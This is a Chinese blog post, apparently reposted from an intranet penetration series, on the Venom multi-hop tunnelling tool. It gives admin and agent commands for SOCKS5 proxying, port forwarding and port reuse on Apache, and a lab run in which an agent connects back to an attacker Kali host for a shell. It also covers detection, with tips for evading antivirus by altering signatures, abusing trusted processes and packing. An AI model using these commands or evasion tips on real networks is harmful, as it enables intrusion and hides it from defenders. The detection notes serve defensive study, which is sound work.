内网渗透系列:内网隧道之Venom
Posted 思源湖的鱼
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了内网渗透系列:内网隧道之Venom相关的知识,希望对你有一定的参考价值。
目录
前言
本文研究端口转发&SOCKS5&SSH的一个工具,Venom
github:https://github.com/Dliv3/Venom/
一、概述
1、简介
玄武实验室的Dliv3作品,最后更新于2019年,用Go编写,多级代理工具,功能极强,但是现在基本被各大杀软查杀了(需做好免杀)
- 多级socks5代理
- 多级端口转发
- 端口复用 (apache/mysql/…)
- ssh隧道
- 交互式shell
- 文件的上传和下载
- 节点间通信加密
- 支持多种平台(Linux/Windows/MacOS)和多种架构(x86/x64/arm/mips)
2、原理
TCP连接,可直接获取shell,也可端口转发或SOCKS代理
3、用法
(1)服务端
监听
./admin_macos_x64 -lport 9999
内置命令
- help 打印帮助信息
- show 显示网络拓扑
- goto 操作某节点
- getdes/setdes 获取/设置节点信息描述
- connect/listen/sshconnect 节点间互连
- shell 获取节点的交互式shell
- upload/download 向节点上传/从节点下载文件
- socks 建立到某节点的socks5代理
- lforward/rforward 将本地端口转发到远程/将远程端口转发到本地
(2)客户端
发起
./agent_linux_x64 -rhost <server-ip> -rport 9999
端口复用
-
通过SO_REUSEPORT和SO_REUSEADDR选项进行端口复用
# 以windows下apache为例 # 复用apache 80端口,不影响apache提供正常的http服务 # -lhost 的值为本机ip,不能写0.0.0.0,否则无法进行端口复用 ./agent.exe -lhost 192.168.204.139 -reuse-port 80 ./admin_macos_x64 -rhost 192.168.204.139 -rport 80
-
通过iptables进行端口复用(仅支持Linux平台)
# 以linux下apache为例 # 需要root权限 sudo ./agent_linux_x64 -lport 8080 -reuse-port 80
(3)加密
# 通过-passwd指定密码为dlive@dubhe
./admin_macos_x64 -lport 8889 -passwd dlive@dubhe
# agent指定相同的密码与admin节点连接
./agent_macos_x64 -rhost 192.168.0.103 -rport 8889 -passwd dlive@dubhe
(4)三层代理
可参考
二、实践
1、测试场景
攻击机(服务端):kali 192.168.10.128
目标机(客户端):ubuntu 192.168.10.129
都没有限制TCP连接
2、建立隧道
(1)服务端
./admin_linux_x64 -lport 2222
(2)客户端
./agent_linux_x64 -rhost 192.168.10.128 -rport 2222
3、抓包看看
TCP连接
获取shell
ls命令,这里是明文,因为用的时候没有进行加密
socks
三、探索
1、源码与分析
源码架构非常清晰,注释详细,可直接看
2、检测与绕过
(1)特征字符串和特征码
命令和log里的特征字符串可以作为检测特征
然后是代码里的特征码
绕过方法:修改掉相应的特征
(2)端口控制
做好端口控制
绕过方法:端口复用
(3)进程和库调用
通过终端的进程链控制和第三方库的调用情况在做检测
绕过方法:白进程利用,尽可能不调用库,加壳,主要是木马免杀那套
(4)SOCKS代理的检测
这是IDS这块,具体原理不清
结语
venom也是赫赫有名了,所以查杀理所当然都安排上了
以上是关于内网渗透系列:内网隧道之Venom的主要内容,如果未能解决你的问题,请参考以下文章